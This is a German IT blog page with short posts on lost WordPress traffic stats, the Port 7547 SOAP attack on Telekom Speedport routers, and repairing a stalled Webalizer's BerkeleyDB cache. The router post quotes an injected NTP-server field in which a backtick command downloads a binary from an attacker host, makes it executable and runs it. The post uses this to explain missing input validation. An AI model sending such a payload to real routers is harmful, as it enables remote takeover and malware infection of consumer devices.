Der (IT) Blog aus Braunschweig
Kaum auf 4.7 aktualisiert und schon sind die Webtrafficdaten der letzten 6 Monate weg.
Wer Ersatz braucht, muß leider von Null anfangen und das „Traffic Stats Widget“ Plugin installieren. Das fängt dann aber nach Installation wieder bei 0 zu zählen. Das von WP als Dropin installierte Plugin, sieht zwar nett aus, kann aber nur 24h auswerten und uns leider nicht sagen, wieviele Leute in den letzten Tagen/Wochen/Monaten da waren 🙁
Jetzt ist es endlich final, die DSL-Speedportrouter der Deutschen Telekom haben ein Sicherheitsloch auf Port 7547 :
https://isc.sans.edu/diary/Port+7547+SOAP+Remote+Code+Execution+Attack+Against+DSL+Modems/21759
und ein echt dreckiges dazu, weil die Kisten a) auf jeden Zugriff reagieren und b) eine Remote-Execution möglich ist. Der Hack funktioniert so:
<NewNTPServer1>
`cd /tmp;wget http://angreiferszum nachladen von code/1>;chmod 777 1;./1`
</NewNTPServer1>
<NewNTPServer2></NewNTPServer2>
<NewNTPServer3></NewNTPServer3>
<NewNTPServer4></NewNTPServer4>
<NewNTPServer5></NewNTPServer5>
Natürlich gehört zu dem Request noch mehr, aber das sind die Grundlagen und aus dem Kontext kann man ersehen, daß hier einfach ein parameter aus dem Web genommen wird und an die Bash weitergereicht wird ohne den Inhalt auf Konsistenz zu prüfen. Ein einfacher Test, ob da ein Domainname/IP drinsteht, hätte das bundesweite Chaos vom Wochenende verhindert.
Die DSL-Router wurden Ihnen „proudly presented by Zyxel“ !!! Amis 😉
Ok, vorweg, es geht nicht um GeoIPs, Zeitzonen oder andere Sachen die mit geografischen Regionen zutun hat 🙂
PANIC: fatal region error detected; run recovery
Das ist eine Meldung der BerkeleyDB, einer filebasierten einfachen Datenbank, die Programme gern benutzen, wenn Sie keinen richtigen Datenbankbackend brauchen/wollen. Eins der Programme ist der Webalizer, ein Analysetool , das jedem statistiksüchtigen Apachenutzer ein Begriff sein dürfte.
Es kann vorkommen, daß diese Datenbank beschädigt wird. Die Anwendung gibt dann die obige Fehlermeldung aus, oder auch nicht, weil nach >dev/null umgeleitet.
Zunächst mal, macht Webalizer nichts mehr, er kommt nicht mehr voran, weil … keine Ahnung wie man so fehlerintolerant programmieren kann, ich weiß es nicht. Also das Teil bleibt einfach stehen. Das sieht dann so aus:
|-sshd(878)-+-sshd(3593)---sshd(3619)---bash(3631)---webalizer(13066)---java(13074)-+-webalizer(16621)-+-webalizer(16623+ | | | |-webalizer(16624+ | | | |-webalizer(16625+ | | | |-webalizer(16626+ | | | |-webalizer(16627+ | | | |-webalizer(16628+ | | | |-webalizer(16629+ | | | |-webalizer(16630+ | | | |-webalizer(16631+ | | | `-webalizer(16632+
im TOP und IOTOP sieht man Webalizer kann auch nicht mehr auftauchen, weil die Prozesse in einem QuasiSleep sind.
Wenn man jetzt auf den Hauptprozess (oben die PID 16621 ) ein strace anwendet mit „strace -s 1024 +f +p 16621“ bekommt man das zu sehen:
strace: Process 16621 attached write(2, "BDB0060 PANIC: fatal region error detected; run recovery", 56
und nichts passiert mehr. In dem Fall kann man strace einfach abbrechen und getrost die dns_cache.db löschen:
rm -f /var/lib/webalizer/dns_cache.db
Dann bricht man den Webalizer Hauptprozess mit kill ab, und startet das Ganze von vorn. Fertig.